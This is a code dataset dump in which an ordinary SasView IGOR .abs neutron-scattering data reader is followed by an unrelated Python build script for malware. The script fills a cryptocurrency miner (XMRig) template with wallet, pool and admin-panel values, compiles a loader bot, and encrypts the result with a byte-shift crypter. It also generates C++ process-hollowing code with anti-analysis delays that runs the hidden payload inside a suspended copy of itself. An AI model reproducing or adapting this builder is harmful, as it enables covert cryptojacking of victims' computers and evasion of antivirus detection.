# I(Q) (1/cm) | sigmaQ | meanQ | ShadowFactor|
if line.count("The 6 columns") > 0:
is_data_started = True
# Sanity check
if not len(y) == len(dy):
msg = "abs_reader: y and dy have different length"
raise ValueError, msg
# If the data length is zero, consider this as
# though we were not able to read the file.
if len(x) == 0:
raise ValueError, "ascii_reader: could not load file"
output.x = x[x != 0]
output.y = y[x != 0]
output.dy = dy[x != 0]
output.dx = dx[x != 0]
if data_conv_q is not None:
output.xaxis("\\rm{Q}", output.x_unit)
else:
output.xaxis("\\rm{Q}", 'A^{-1}')
if data_conv_i is not None:
output.yaxis("\\rm{Intensity}", output.y_unit)
else:
output.yaxis("\\rm{Intensity}", "cm^{-1}")
# Store loading process information
output.meta_data['loader'] = self.type_name
return output
else:
raise RuntimeError, "%s is not a file" % path
return None
|
[
"\"\"\"\n\"\"\"\n#####################################################################\n#This software was developed by the University of Tennessee as part of the\n#Distributed Data Analysis of Neutron Scattering Experiments (DANSE)\n#project funded by the US National Science Foundation.\n#See the license text in license.txt\n#copyright 2008, University of Tennessee\n######################################################################\n\nimport numpy as np\nimport os\nfrom sas.sascalc.dataloader.data_info import Data1D\nfrom sas.sascalc.dataloader.data_info import Detector\n\nhas_converter = True\ntry:\n from sas.sascalc.data_util.nxsunit import Converter\nexcept:\n has_converter = False\n \n \nclass Reader:\n \"\"\"\n Class to load IGOR reduced .ABS files\n \"\"\"\n ## File type\n type_name = \"IGOR 1D\"\n ## Wildcards\n type = [\"IGOR 1D files (*.abs)|*.abs\"]\n ## List of allowed extensions\n ext = ['.abs', '.ABS']\n \n def read(self, path):\n \"\"\" \n Load data file.\n \n :param path: file path\n \n :return: Data1D object, or None\n \n :raise RuntimeError: when the file can't be opened\n :raise ValueError: when the length of the data vectors are inconsistent\n \"\"\"\n if os.path.isfile(path):\n basename = os.path.basename(path)\n root, extension = os.path.splitext(basename)\n if extension.lower() in self.ext:\n try:\n input_f = open(path,'r')\n except:\n raise RuntimeError, \"abs_reader: cannot open %s\" % path\n buff = input_f.read()\n lines = buff.split('\\n')\n x = np.zeros(0)\n y = np.zeros(0)\n dy = np.zeros(0)\n dx = np.zeros(0)\n output = Data1D(x, y, dy=dy, dx=dx)\n detector = Detector()\n output.detector.append(detector)\n output.filename = basename\n \n is_info = False\n is_center = False\n is_data_started = False\n \n data_conv_q = None\n data_conv_i = None\n \n if has_converter == True and output.x_unit != '1/A':\n data_conv_q = Converter('1/A')\n # Test it\n data_conv_q(1.0, output.x_unit)\n \n if has_converter == True and output.y_unit != '1/cm':\n data_conv_i = Converter('1/cm')\n # Test it\n data_conv_i(1.0, output.y_unit)\n \n for line in lines:\n \n # Information line 1\n if is_info == True:\n is_info = False\n line_toks = line.split()\n \n # Wavelength in Angstrom\n try:\n value = float(line_toks[1])\n if has_converter == True and \\\n output.source.wavelength_unit != 'A':\n conv = Converter('A')\n output.source.wavelength = conv(value,\n units=output.source.wavelength_unit)\n else:\n output.source.wavelength = value\n except:\n #goes to ASC reader\n msg = \"abs_reader: cannot open %s\" % path\n raise RuntimeError, msg\n \n # Distance in meters\n try:\n value = float(line_toks[3])\n if has_converter == True and \\\n detector.distance_unit != 'm':\n conv = Converter('m')\n detector.distance = conv(value,\n units=detector.distance_unit)\n else:\n detector.distance = value\n except:\n #goes to ASC reader\n msg = \"abs_reader: cannot open %s\" % path\n raise RuntimeError, msg\n # Transmission\n try:\n output.sample.transmission = float(line_toks[4])\n except:\n # Transmission is not a mandatory entry\n pass\n \n # Thickness in mm\n try:\n value = float(line_toks[5])\n if has_converter == True and \\\n output.sample.thickness_unit != 'cm':\n conv = Converter('cm')\n output.sample.thickness = conv(value,\n units=output.sample.thickness_unit)\n else:\n output.sample.thickness = value\n except:\n # Thickness is not a mandatory entry\n pass\n \n #MON CNT LAMBDA DET ANG DET DIST TRANS THICK \n # AVE STEP\n if line.count(\"LAMBDA\") > 0:\n is_info = True\n \n # Find center info line\n if is_center == True:\n is_center = False\n line_toks = line.split()\n # Center in bin number\n center_x = float(line_toks[0])\n center_y = float(line_toks[1])\n \n # Bin size\n if has_converter == True and \\\n detector.pixel_size_unit != 'mm':\n conv = Converter('mm')\n detector.pixel_size.x = conv(5.0,\n units=detector.pixel_size_unit)\n detector.pixel_size.y = conv(5.0,\n units=detector.pixel_size_unit)\n else:\n detector.pixel_size.x = 5.0\n detector.pixel_size.y = 5.0\n \n # Store beam center in distance units\n # Det 640 x 640 mm\n if has_converter == True and \\\n detector.beam_center_unit != 'mm':\n conv = Converter('mm')\n detector.beam_center.x = conv(center_x * 5.0,\n units=detector.beam_center_unit)\n detector.beam_center.y = conv(center_y * 5.0,\n units=detector.beam_center_unit)\n else:\n detector.beam_center.x = center_x * 5.0\n detector.beam_center.y = center_y * 5.0\n \n # Detector type\n try:\n detector.name = line_toks[7]\n except:\n # Detector name is not a mandatory entry\n pass\n \n #BCENT(X,Y) A1(mm) A2(mm) A1A2DIST(m) DL/L\n # BSTOP(mm) DET_TYP\n if line.count(\"BCENT\") > 0:\n is_center = True\n \n # Parse the data\n if is_data_started == True:\n toks = line.split()\n\n try:\n _x = float(toks[0])\n _y = float(toks[1])\n _dy = float(toks[2])\n _dx = float(toks[3])\n \n if data_conv_q is not None:\n _x = data_conv_q(_x, units=output.x_unit)\n _dx = data_conv_i(_dx, units=output.x_unit)\n \n if data_conv_i is not None:\n _y = data_conv_i(_y, units=output.y_unit)\n _dy = data_conv_i(_dy, units=output.y_unit)\n \n x = np.append(x, _x)\n y = np.append(y, _y)\n dy = np.append(dy, _dy)\n dx = np.append(dx, _dx)\n \n except:\n # Could not read this data line. If we are here\n # it is because we are in the data section. Just\n # skip it.\n pass\n \n #The 6 columns are | Q (1/A) | I(Q) (1/cm) | std. dev.\n # I(Q) (1/cm) | sigmaQ | meanQ | ShadowFactor|\n if line.count(\"The 6 columns\") > 0:\n is_data_started = True\n \n # Sanity check\n if not len(y) == len(dy):\n msg = \"abs_reader: y and dy have different length\"\n raise ValueError, msg\n # If the data length is zero, consider this as\n # though we were not able to read the file.\n if len(x) == 0:\n raise ValueError, \"ascii_reader: could not load file\"\n \n output.x = x[x != 0]\n output.y = y[x != 0]\n output.dy = dy[x != 0]\n output.dx = dx[x != 0]\n if data_conv_q is not None:\n output.xaxis(\"\\\\rm{Q}\", output.x_unit)\n else:\n output.xaxis(\"\\\\rm{Q}\", 'A^{-1}')\n if data_conv_i is not None:\n output.yaxis(\"\\\\rm{Intensity}\", output.y_unit)\n else:\n output.yaxis(\"\\\\rm{Intensity}\", \"cm^{-1}\")\n \n # Store loading process information\n output.meta_data['loader'] = self.type_name\n return output\n else:\n raise RuntimeError, \"%s is not a file\" % path\n return None\n"
] | true |
9,938 |
d1254e558217cce88de2f83b87d5c54333f1c677
|
import os, sys, time, random, subprocess
def load_userdata(wallet, pool, ww, logger, adminka):
with open("D:\\msys64\\xmrig-master\\src\\ex.cpp", "r") as f:
file = f.read()
file = file.replace("%u%", wallet)
file = file.replace("%p%", pool)
file = file.replace("%w%", ww)
with open("D:\\msys64\\xmrig-master\\src\\xmrig.cpp", "w") as w:
w.write(file)
with open(os.getcwd()+"\\Bot\\Miner\\ex.cs", "r") as f:
file = f.read()
file = file.replace("%l%", logger)
file = file.replace("%a%", adminka)
with open(os.getcwd()+"\\Bot\\Miner\\Program.cs", "w") as w:
w.write(file)
def writeBytes(key):
with open(os.getcwd()+"\\file.txt", "r") as f:
file = f.read()
with open(os.getcwd()+"\\Miner\\CryptRunPe\\winhost.cpp", "w") as w:
w.write("#include <stdafx.h>\n#include \"process.h\"\n #include \"memrun.h\"\nusing namespace std;\n")
with open("ex.txt") as ex:
w.write(file)
exx = ex.read()
w.write(exx)
def compile(path, file):
os.system("%windir%\Microsoft.NET\Framework\\v4.0.30319\msbuild.exe \""+path+file+".sln\" /p:Configuration=Release")
def compileM(path, file):
os.system("msbuild.exe \""+path+file+".sln\" /p:Configuration=Release")
def compileR(path, file):
os.system("msbuild.exe \""+path+file+".sln\" /p:Configuration=Release /p:Platform=\"WIN32\"")
def xcopy(path, out):
try:
with open(path, "rb") as f:
file = f.read()
with open(out, "wb") as w:
w.write(bytearray(file))
except:
pass
def crypt(name, key):
with open('encoder.cpp', 'w') as w:
txt = '\n\
#include <Windows.h>\n\
#include <winternl.h>\n\
#include <iostream>\n\
#include <string>\n\
#include <fstream>\n\
using namespace std;\n\
int main()\n\
{\n\
FILE * file = fopen("in.exe", "rb");\n\
if (file == NULL) return 0;\n\
fseek(file, 0, SEEK_END);\n\
long int size = ftell(file);\n\
fclose(file);\n\
file = fopen("in.exe", "rb");\n\
unsigned char * in = (unsigned char *)malloc(size);\n\
int bytes_read = fread(in, sizeof(unsigned char), size, file);\n\
fclose(file);\n\
for (int i = 0; i < size; i++) {\n\
in[i] = in[i] - 0x0%n%;\n\
}\n\
file = fopen("out.exe", "wb");\n\
int bytes_written = fwrite(in, sizeof(unsigned char), size, file);\n\
fclose(file);\n\
for (int i = 0; i < size; i++) {\n\
in[i] = in[i] + 0x0%n%;\n\
}\n\
file = fopen("decr.exe", "wb");\n\
bytes_written = fwrite(in, sizeof(unsigned char), size, file);\n\
fclose(file);\n\
return 0;\n\
}\n\
'
txt = txt.replace("%n%", str(key))
w.write(txt)
os.system("g++ -o enc encoder.cpp")
os.system("C:\Python27\python.exe cv.py")
with open('file.txt', 'r') as r:
with open(os.getcwd()+"\\src\\crypter\\crypter.cpp", "w") as w:
txt = '\
#include "stdafx.h"\n\
#include "Crypter.h"\n\
#include <windows.h>\n\
#include <winternl.h>\n\
#pragma comment(lib,"ws2_32.lib")\n\
#pragma comment(lib,"ntdll.lib")\n\
'+ r.read() + '\
int RunPortableExecutable(void* Image) {\n\
IMAGE_DOS_HEADER* DOSHeader;\n\
IMAGE_NT_HEADERS* NtHeader;\n\
IMAGE_SECTION_HEADER* SectionHeader;\n\
PROCESS_INFORMATION PI;\n\
STARTUPINFOA SI;\n\
CONTEXT* CTX;\n\
DWORD* ImageBase;\n\
void* pImageBase;\n\
int count;\n\
char buffer[MAX_PATH];\n\
GetModuleFileNameA(NULL, (LPSTR)buffer, MAX_PATH);\n\
char *CurrentFilePath = buffer;\n\
DOSHeader = PIMAGE_DOS_HEADER(Image);\n\
NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew);\n\
if (NtHeader->Signature == IMAGE_NT_SIGNATURE) {\n\
ZeroMemory(&PI, sizeof(PI));\n\
ZeroMemory(&SI, sizeof(SI));\n\
typedef LONG(WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);\n\
NtUnmapViewOfSection mNtUnmapViewOfSection;\n\
if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &SI, &PI)) {\n\
CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));\n\
CTX->ContextFlags = CONTEXT_FULL;\n\
if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) {\n\
ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);\n\
pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),\n\
NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);\n\
WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);\n\
for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) {\n\
SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));\n\
WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),\n\
LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);\n\
}\n\
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);\n\
CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;\n\
SetThreadContext(PI.hThread, LPCONTEXT(CTX));\n\
ResumeThread(PI.hThread);\n\
return 0;\n\
}\n\
}\n\
}\n\
}\n\
int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) {\n\
for (int i = 0; i < 550000; i++)\n\
OutputDebugStringW(L"");\n\
for (int i = 0; i < sizeof(rawData) / sizeof(*rawData); i++) {\n\
unsigned char b = rawData[i] + 0x0%n%;\n\
rawData[i] = b;\n\
}\n\
Sleep(((rand() % 5 + 1) + 5) * 1000);\n\
RunPortableExecutable(rawData);\n\
return 0;\n\
}\
'
txt = txt.replace("%n%", str(key))
w.write(txt)
compileM(os.getcwd()+"\\src\\", "ConsoleApplication1")
xcopy(os.getcwd() + "\\src\\Release\\Crypter.exe", os.getcwd()+"\\"+name+".exe")
key = random.randint(1, 100)
u = sys.argv[1]
w = sys.argv[2]
p = sys.argv[3]
l = sys.argv[4]
a = sys.argv[5]
load_userdata(u, p, w, l, a)
compile(os.getcwd()+"\\Bot\\", "LoaderBot")
xcopy(os.getcwd()+"\\Bot\\Miner\\bin\\Release\\LoaderBot.exe", "Bot.exe")
compileR(os.getcwd()+"\\rig\\", "xmrig")
xcopy(os.getcwd()+"\\rig\\Release\\xmrig.exe", "out.exe")
crypt("test", key)
os.system("C:\Python27\python.exe cv.py")
writeBytes(key)
compileM(os.getcwd()+"\\Miner\\", "winhost")
xcopy(os.getcwd()+"\\Miner\\Release\\winhost.exe", "in.exe")
print(os.getcwd()+"\\enc.exe")
subprocess.call(os.getcwd()+"\\enc.exe")
crypt("winhost", key)
os.system("del file.txt")
os.system("del in.exe")
os.system("del out.exe")
os.system("del decr.exe")
os.system("del enc.exe")
os.system("del test.exe")
|
[
"import os, sys, time, random, subprocess\n\n\ndef load_userdata(wallet, pool, ww, logger, adminka):\n with open(\"D:\\\\msys64\\\\xmrig-master\\\\src\\\\ex.cpp\", \"r\") as f:\n file = f.read()\n file = file.replace(\"%u%\", wallet)\n file = file.replace(\"%p%\", pool)\n file = file.replace(\"%w%\", ww)\n with open(\"D:\\\\msys64\\\\xmrig-master\\\\src\\\\xmrig.cpp\", \"w\") as w:\n w.write(file)\n with open(os.getcwd()+\"\\\\Bot\\\\Miner\\\\ex.cs\", \"r\") as f:\n file = f.read()\n file = file.replace(\"%l%\", logger)\n file = file.replace(\"%a%\", adminka)\n with open(os.getcwd()+\"\\\\Bot\\\\Miner\\\\Program.cs\", \"w\") as w:\n w.write(file)\n\ndef writeBytes(key):\n with open(os.getcwd()+\"\\\\file.txt\", \"r\") as f:\n file = f.read()\n with open(os.getcwd()+\"\\\\Miner\\\\CryptRunPe\\\\winhost.cpp\", \"w\") as w:\n w.write(\"#include <stdafx.h>\\n#include \\\"process.h\\\"\\n #include \\\"memrun.h\\\"\\nusing namespace std;\\n\")\n with open(\"ex.txt\") as ex:\n w.write(file)\n exx = ex.read()\n w.write(exx)\n\ndef compile(path, file):\n os.system(\"%windir%\\Microsoft.NET\\Framework\\\\v4.0.30319\\msbuild.exe \\\"\"+path+file+\".sln\\\" /p:Configuration=Release\")\n\t\ndef compileM(path, file):\n os.system(\"msbuild.exe \\\"\"+path+file+\".sln\\\" /p:Configuration=Release\")\n\ndef compileR(path, file):\n os.system(\"msbuild.exe \\\"\"+path+file+\".sln\\\" /p:Configuration=Release /p:Platform=\\\"WIN32\\\"\")\ndef xcopy(path, out):\n try:\n with open(path, \"rb\") as f:\n file = f.read()\n with open(out, \"wb\") as w:\n w.write(bytearray(file))\n except:\n pass\n\n\ndef crypt(name, key):\n with open('encoder.cpp', 'w') as w:\n txt = '\\n\\\n #include <Windows.h>\\n\\\n #include <winternl.h>\\n\\\n #include <iostream>\\n\\\n #include <string>\\n\\\n #include <fstream>\\n\\\n using namespace std;\\n\\\n int main()\\n\\\n {\\n\\\n FILE * file = fopen(\"in.exe\", \"rb\");\\n\\\n if (file == NULL) return 0;\\n\\\n fseek(file, 0, SEEK_END);\\n\\\n long int size = ftell(file);\\n\\\n fclose(file);\\n\\\n file = fopen(\"in.exe\", \"rb\");\\n\\\n unsigned char * in = (unsigned char *)malloc(size);\\n\\\n int bytes_read = fread(in, sizeof(unsigned char), size, file);\\n\\\n fclose(file);\\n\\\n for (int i = 0; i < size; i++) {\\n\\\n in[i] = in[i] - 0x0%n%;\\n\\\n }\\n\\\n file = fopen(\"out.exe\", \"wb\");\\n\\\n int bytes_written = fwrite(in, sizeof(unsigned char), size, file);\\n\\\n fclose(file);\\n\\\n for (int i = 0; i < size; i++) {\\n\\\n in[i] = in[i] + 0x0%n%;\\n\\\n }\\n\\\n file = fopen(\"decr.exe\", \"wb\");\\n\\\n bytes_written = fwrite(in, sizeof(unsigned char), size, file);\\n\\\n fclose(file);\\n\\\n return 0;\\n\\\n }\\n\\\n '\n txt = txt.replace(\"%n%\", str(key))\n w.write(txt)\n os.system(\"g++ -o enc encoder.cpp\")\n os.system(\"C:\\Python27\\python.exe cv.py\")\n with open('file.txt', 'r') as r:\n with open(os.getcwd()+\"\\\\src\\\\crypter\\\\crypter.cpp\", \"w\") as w:\n txt = '\\\n #include \"stdafx.h\"\\n\\\n #include \"Crypter.h\"\\n\\\n #include <windows.h>\\n\\\n #include <winternl.h>\\n\\\n #pragma comment(lib,\"ws2_32.lib\")\\n\\\n #pragma comment(lib,\"ntdll.lib\")\\n\\\n '+ r.read() + '\\\n int RunPortableExecutable(void* Image) {\\n\\\n IMAGE_DOS_HEADER* DOSHeader;\\n\\\n IMAGE_NT_HEADERS* NtHeader;\\n\\\n IMAGE_SECTION_HEADER* SectionHeader;\\n\\\n PROCESS_INFORMATION PI;\\n\\\n STARTUPINFOA SI;\\n\\\n CONTEXT* CTX;\\n\\\n DWORD* ImageBase;\\n\\\n void* pImageBase;\\n\\\n int count;\\n\\\n char buffer[MAX_PATH];\\n\\\n GetModuleFileNameA(NULL, (LPSTR)buffer, MAX_PATH);\\n\\\n char *CurrentFilePath = buffer;\\n\\\n DOSHeader = PIMAGE_DOS_HEADER(Image);\\n\\\n NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew);\\n\\\n if (NtHeader->Signature == IMAGE_NT_SIGNATURE) {\\n\\\n ZeroMemory(&PI, sizeof(PI));\\n\\\n ZeroMemory(&SI, sizeof(SI));\\n\\\n typedef LONG(WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);\\n\\\n NtUnmapViewOfSection mNtUnmapViewOfSection;\\n\\\n if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &SI, &PI)) {\\n\\\n CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));\\n\\\n CTX->ContextFlags = CONTEXT_FULL;\\n\\\n if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) {\\n\\\n ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);\\n\\\n pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),\\n\\\n NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);\\n\\\n WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);\\n\\\n for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) {\\n\\\n SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));\\n\\\n WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),\\n\\\n LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);\\n\\\n }\\n\\\n WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);\\n\\\n CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;\\n\\\n SetThreadContext(PI.hThread, LPCONTEXT(CTX));\\n\\\n ResumeThread(PI.hThread);\\n\\\n return 0;\\n\\\n }\\n\\\n }\\n\\\n }\\n\\\n }\\n\\\n int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) {\\n\\\n for (int i = 0; i < 550000; i++)\\n\\\n OutputDebugStringW(L\"\");\\n\\\n for (int i = 0; i < sizeof(rawData) / sizeof(*rawData); i++) {\\n\\\n unsigned char b = rawData[i] + 0x0%n%;\\n\\\n rawData[i] = b;\\n\\\n }\\n\\\n Sleep(((rand() % 5 + 1) + 5) * 1000);\\n\\\n RunPortableExecutable(rawData);\\n\\\n return 0;\\n\\\n }\\\n '\n txt = txt.replace(\"%n%\", str(key))\n w.write(txt)\n compileM(os.getcwd()+\"\\\\src\\\\\", \"ConsoleApplication1\")\n xcopy(os.getcwd() + \"\\\\src\\\\Release\\\\Crypter.exe\", os.getcwd()+\"\\\\\"+name+\".exe\")\n\nkey = random.randint(1, 100)\nu = sys.argv[1]\nw = sys.argv[2]\np = sys.argv[3]\nl = sys.argv[4]\na = sys.argv[5]\n\n\n\nload_userdata(u, p, w, l, a)\ncompile(os.getcwd()+\"\\\\Bot\\\\\", \"LoaderBot\")\nxcopy(os.getcwd()+\"\\\\Bot\\\\Miner\\\\bin\\\\Release\\\\LoaderBot.exe\", \"Bot.exe\")\ncompileR(os.getcwd()+\"\\\\rig\\\\\", \"xmrig\")\nxcopy(os.getcwd()+\"\\\\rig\\\\Release\\\\xmrig.exe\", \"out.exe\")\ncrypt(\"test\", key)\nos.system(\"C:\\Python27\\python.exe cv.py\")\nwriteBytes(key)\ncompileM(os.getcwd()+\"\\\\Miner\\\\\", \"winhost\")\nxcopy(os.getcwd()+\"\\\\Miner\\\\Release\\\\winhost.exe\", \"in.exe\")\nprint(os.getcwd()+\"\\\\enc.exe\")\nsubprocess.call(os.getcwd()+\"\\\\enc.exe\")\ncrypt(\"winhost\", key)\n\nos.system(\"del file.txt\")\nos.system(\"del in.exe\")\nos.system(\"del out.exe\")\nos.system(\"del decr.exe\")\nos.system(\"del enc.exe\")\nos.system(\"del test.exe\")\n",
"import os, sys, time, random, subprocess\n\n\ndef load_userdata(wallet, pool, ww, logger, adminka):\n with open('D:\\\\msys64\\\\xmrig-master\\\\src\\\\ex.cpp', 'r') as f:\n file = f.read()\n file = file.replace('%u%', wallet)\n file = file.replace('%p%', pool)\n file = file.replace('%w%', ww)\n with open('D:\\\\msys64\\\\xmrig-master\\\\src\\\\xmrig.cpp', 'w') as w:\n w.write(file)\n with open(os.getcwd() + '\\\\Bot\\\\Miner\\\\ex.cs', 'r') as f:\n file = f.read()\n file = file.replace('%l%', logger)\n file = file.replace('%a%', adminka)\n with open(os.getcwd() + '\\\\Bot\\\\Miner\\\\Program.cs', 'w') as w:\n w.write(file)\n\n\ndef writeBytes(key):\n with open(os.getcwd() + '\\\\file.txt', 'r') as f:\n file = f.read()\n with open(os.getcwd() + '\\\\Miner\\\\CryptRunPe\\\\winhost.cpp', 'w') as w:\n w.write(\n \"\"\"#include <stdafx.h>\n#include \"process.h\"\n #include \"memrun.h\"\nusing namespace std;\n\"\"\"\n )\n with open('ex.txt') as ex:\n w.write(file)\n exx = ex.read()\n w.write(exx)\n\n\ndef compile(path, file):\n os.system(\n '%windir%\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\msbuild.exe \"' +\n path + file + '.sln\" /p:Configuration=Release')\n\n\ndef compileM(path, file):\n os.system('msbuild.exe \"' + path + file + '.sln\" /p:Configuration=Release')\n\n\ndef compileR(path, file):\n os.system('msbuild.exe \"' + path + file +\n '.sln\" /p:Configuration=Release /p:Platform=\"WIN32\"')\n\n\ndef xcopy(path, out):\n try:\n with open(path, 'rb') as f:\n file = f.read()\n with open(out, 'wb') as w:\n w.write(bytearray(file))\n except:\n pass\n\n\ndef crypt(name, key):\n with open('encoder.cpp', 'w') as w:\n txt = \"\"\"\n #include <Windows.h>\n #include <winternl.h>\n #include <iostream>\n #include <string>\n #include <fstream>\n using namespace std;\n int main()\n {\n FILE * file = fopen(\"in.exe\", \"rb\");\n if (file == NULL) return 0;\n fseek(file, 0, SEEK_END);\n long int size = ftell(file);\n fclose(file);\n file = fopen(\"in.exe\", \"rb\");\n unsigned char * in = (unsigned char *)malloc(size);\n int bytes_read = fread(in, sizeof(unsigned char), size, file);\n fclose(file);\n for (int i = 0; i < size; i++) {\n in[i] = in[i] - 0x0%n%;\n }\n file = fopen(\"out.exe\", \"wb\");\n int bytes_written = fwrite(in, sizeof(unsigned char), size, file);\n fclose(file);\n for (int i = 0; i < size; i++) {\n in[i] = in[i] + 0x0%n%;\n }\n file = fopen(\"decr.exe\", \"wb\");\n bytes_written = fwrite(in, sizeof(unsigned char), size, file);\n fclose(file);\n return 0;\n }\n \"\"\"\n txt = txt.replace('%n%', str(key))\n w.write(txt)\n os.system('g++ -o enc encoder.cpp')\n os.system('C:\\\\Python27\\\\python.exe cv.py')\n with open('file.txt', 'r') as r:\n with open(os.getcwd() + '\\\\src\\\\crypter\\\\crypter.cpp', 'w') as w:\n txt = \"\"\" #include \"stdafx.h\"\n #include \"Crypter.h\"\n #include <windows.h>\n #include <winternl.h>\n #pragma comment(lib,\"ws2_32.lib\")\n #pragma comment(lib,\"ntdll.lib\")\n \"\"\" + r.read() + \"\"\" int RunPortableExecutable(void* Image) {\n IMAGE_DOS_HEADER* DOSHeader;\n IMAGE_NT_HEADERS* NtHeader;\n IMAGE_SECTION_HEADER* SectionHeader;\n PROCESS_INFORMATION PI;\n STARTUPINFOA SI;\n CONTEXT* CTX;\n DWORD* ImageBase;\n void* pImageBase;\n int count;\n char buffer[MAX_PATH];\n GetModuleFileNameA(NULL, (LPSTR)buffer, MAX_PATH);\n char *CurrentFilePath = buffer;\n DOSHeader = PIMAGE_DOS_HEADER(Image);\n NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew);\n if (NtHeader->Signature == IMAGE_NT_SIGNATURE) {\n ZeroMemory(&PI, sizeof(PI));\n ZeroMemory(&SI, sizeof(SI));\n typedef LONG(WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);\n NtUnmapViewOfSection mNtUnmapViewOfSection;\n if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &SI, &PI)) {\n CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));\n CTX->ContextFlags = CONTEXT_FULL;\n if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) {\n ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);\n pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),\n NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);\n WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);\n for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) {\n SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));\n WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),\n LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);\n }\n WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);\n CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;\n SetThreadContext(PI.hThread, LPCONTEXT(CTX));\n ResumeThread(PI.hThread);\n return 0;\n }\n }\n }\n }\n int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) {\n for (int i = 0; i < 550000; i++)\n OutputDebugStringW(L\"\");\n for (int i = 0; i < sizeof(rawData) / sizeof(*rawData); i++) {\n unsigned char b = rawData[i] + 0x0%n%;\n rawData[i] = b;\n }\n Sleep(((rand() % 5 + 1) + 5) * 1000);\n RunPortableExecutable(rawData);\n return 0;\n } \"\"\"\n txt = txt.replace('%n%', str(key))\n w.write(txt)\n compileM(os.getcwd() + '\\\\src\\\\', 'ConsoleApplication1')\n xcopy(os.getcwd() + '\\\\src\\\\Release\\\\Crypter.exe', os.getcwd() +\n '\\\\' + name + '.exe')\n\n\nkey = random.randint(1, 100)\nu = sys.argv[1]\nw = sys.argv[2]\np = sys.argv[3]\nl = sys.argv[4]\na = sys.argv[5]\nload_userdata(u, p, w, l, a)\ncompile(os.getcwd() + '\\\\Bot\\\\', 'LoaderBot')\nxcopy(os.getcwd() + '\\\\Bot\\\\Miner\\\\bin\\\\Release\\\\LoaderBot.exe', 'Bot.exe')\ncompileR(os.getcwd() + '\\\\rig\\\\', 'xmrig')\nxcopy(os.getcwd() + '\\\\rig\\\\Release\\\\xmrig.exe', 'out.exe')\ncrypt('test', key)\nos.system('C:\\\\Python27\\\\python.exe cv.py')\nwriteBytes(key)\ncompileM(os.getcwd() + '\\\\Miner\\\\', 'winhost')\nxcopy(os.getcwd() + 